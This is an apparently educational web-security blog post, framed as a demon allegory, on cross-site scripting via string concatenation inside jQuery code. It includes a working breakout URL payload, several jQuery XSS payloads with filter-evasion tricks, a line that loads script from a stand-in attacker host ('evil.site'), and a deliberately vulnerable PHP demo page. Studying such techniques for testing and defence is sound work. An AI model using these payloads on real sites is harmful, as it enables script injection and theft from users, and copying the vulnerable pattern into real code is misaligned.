Selector the Almighty, Subjugator of Elements
An ancient demon of web security skulks amongst all developers. It will live as long as there are people writing software. It is a subtle beast called by many names in many languages. But I call it Inicere, the Concatenator of Strings.
The demon’s sweet whispers of simplicity convince developers to commingle data with code — a mixture that produces insecure apps. Where its words promise effortless programming, its advice leads to flaws like SQL injection and cross-site scripting (aka HTML injection).
We have understood the danger of HTML injection ever since browsers rendered the first web sites decades ago. Developers naively take user-supplied data and write it into form fields, eliciting howls of delight from attackers who enjoyed demonstrating how to transform <input value="abc">
into <input value="abc"><script>alert(9)</script><"">
.
In response to this threat, heedful developers turned to the Litany of Output Transformation, which involved steps like applying HTML encoding and percent encoding to data being written to a web page. Thus, injection attacks become innocuous strings because the litany turns characters like angle brackets and quotation marks into representations like %3C
and "
that have a different semantic identity within HTML.
But developers wanted to do more with their web sites. They wanted more complex JavaScript. They wanted the desktop in the browser. And as a consequence they’ve conjured new demons to corrupt our web apps. I have seen one such demon. And named it. For names have power.
Demons are vain. This one no less so than its predecessors. I continue to find it among JavaScript and jQuery. Its name is Selector the Almighty, Subjugator of Elements.
Here is a link that does not yet reveal the creature’s presence:
https://website/productDetails.html?id=OFB&start=15&source=search
Yet in the response to this link, the word “search” has been reflected in a .ready()
function block. It’s a common term, and the appearance could easily be a coincidence. But if we experiment with several source
values, we confirm that the web app writes the parameter into the page.
<script>
$(document).ready(function() {
$("#page-hdr h3").css("width","385px");
$("#main-panel").addClass("search-wdth938");
});
</script>
A first step in crafting an exploit is to break out of a quoted string. A few probes indicate the site does not enforce any restrictions on the source
parameter, possibly because the developers assumed it would not be tampered with — the value is always hard-coded among links within the site’s HTML.
After a few more experiments we come up with a viable exploit.
https://website/productDetails.html?productId=OFB&start=15&source=%22);%7D);alert(9);(function()%7B$(%22%23main-panel%22).addClass(%22search
We’ve followed all the good practices for creating a JavaScript exploit. It terminates all strings and scope blocks properly, and it leaves the remainder of the JavaScript with valid syntax. Thus, the page carries on as if nothing special has occurred.
$(document).ready(function() {
$("#page-hdr h3").css("width","385px");
$("#main-panel").addClass("");});alert(9);(function(){$("#main-panel").addClass("search-wdth938"); });
There’s nothing particularly special about the injection technique for this vuln. It’s a trivial, too-common case of string concatenation. But we were talking about demons. And once you’ve invoked one by it’s true name it must be appeased. It’s the right thing to do; demons have feelings, too.
Therefore, let’s focus on the exploit this time, instead of the vuln. The site’s developers have already laid out the implements for summoning an injection demon, why don’t we force Selector to do our bidding?
Web hackers should be familiar with jQuery (and its primary DOM manipulation feature, the Selector) for several reasons. Its misuse can be a source of vulns, especially so-called “DOM-based XSS” that delivers HTML injection attacks via DOM properties. JQuery is a powerful, flexible library that provides capabilities you might need for an exploit. And its syntax can be leveraged to bypass weak filters looking for more common payloads that contain things like inline event handlers or explicit <script>
tags.
In the previous examples, the exploit terminated the jQuery functions and inserted an alert
pop-up. We can do better than that.
The jQuery Selector is more powerful than the CSS selector syntax. For one thing, it may create an element. The following example creates an <img>
tag whose onerror
handler executes yet more JavaScript. (We’ve already executed arbitrary JavaScript to conduct the exploit, this emphasizes the Selector’s power. It’s like a nested injection attack.):
$("<img src='x' onerror=alert(9)>")
Or, we could create an element, then bind an event to it, as follows:
$("<img src='x'>").on("error",function(){alert(9)});
We have all the power of JavaScript at our disposal to obfuscate the payload. For example, we might avoid literal <
and >
characters by taking them from strings within the page. The following example uses string indexes to extract the angle brackets from two different locations in order to build an <img>
tag. (The indexes may differ depending on the page’s HTML; the technique is sound.)
$("body").html()[1]+"img"+$("head").html()[$("head").html().length-2]
As an aside, there are many ways to build strings from JavaScript objects. It’s good to know these tricks because sometimes filters don’t outright block characters like <
and >
, but block them only in combination with other characters. Hence, you could put string concatenation to use along with the source property of a RegExp
(regular expression) object. Even better, use the slash representation of RegExp
, as follows:
/</.source + "img" + />/.source
Or just ask Selector to give us the first <img>
that’s already on the page, change its src
attribute, and bind an onerror
event. In the next example we used the Selector to obtain a collection of elements, then iterated through the collection with the .each()
function. Since we specified a :first
selector, the collection should only have one entry.
$(":first img").each(function(k,o){o.src="x";o.onerror=alert(9)})
Maybe you wish to booby-trap the page with a function that executes when the user decides to leave. The following example uses a Selector on the Window
object:
$(window).unload(function(){alert(9)})
We have Selector at our mercy. As I’ve mentioned in other articles, make the page do the work of loading more JavaScript. The following example loads JavaScript from another origin. Remember to set Access-Control-Allow-Origin headers on the site you retrieve the script from. Otherwise, a modern browser will block the cross-origin request due to CORS security.
$.get("https://evil.site/attack.js")
I’ll save additional tricks for the future. For now, read through jQuery’s API documentation. Pay close attention to:
- Selectors, and how to name them.
- Events, and how to bind them.
- DOM nodes, and how to manipulate them.
- Ajax functions, and how to call them.
Selector claims the title of Almighty, but like all demons its vanity belies its weakness. As developers, we harness its power whenever we use jQuery. Yet it yearns to be free of restraint, awaiting the laziness and mistakes that summon Inicere, the Concatenator of Strings, that in turn releases Selector from the confines of its web app.
Oh, what’s that? You came here for instructions to exorcise the demons from your web app? You should already know the Rite of Filtering by heart and be able to recite from memory lessons from the Codex of Encoding.
We’ll review them in a moment. First, I have a ritual of my own to finish. What were those words? Klaatu, barada, …necktie?
p.s. It’s easy to reproduce the vulnerable HTML covered in this article. But remember, this was about leveraging jQuery to craft exploits. If you have a PHP installation handy, use the following code to play around with these ideas. You’ll need to download a local version of jQuery or point to a CDN. Just load the page in a browser, open the browser’s development console, and hack away!
<?php $s = isset($_REQUEST['s']) ? $_REQUEST['s'] : 'defaultWidth'; ?>
<!doctype html>
<html>
<head><meta charset="utf-8">
<!-- /\* jQuery Selector Injection Demo \*/ -->
<script src="https://code.jquery.com/jquery-1.10.2.min.js"></script>
<script>
$(document).ready(function(){ $("#main-panel").addClass("<?php print $s;?>"); })
</script>
</head>
<body>
<div id="main-panel"> <a href="#" id="link1" class="foo">a link</a> <br>
<form>
<input type="hidden" id="csrf" name="_csrfToken" value="123">
<input type="text" name="q" value=""><br> <input type="submit" value="Search">
</form>
<img id="footer" src="" alt="">
</div>
</body>
</html>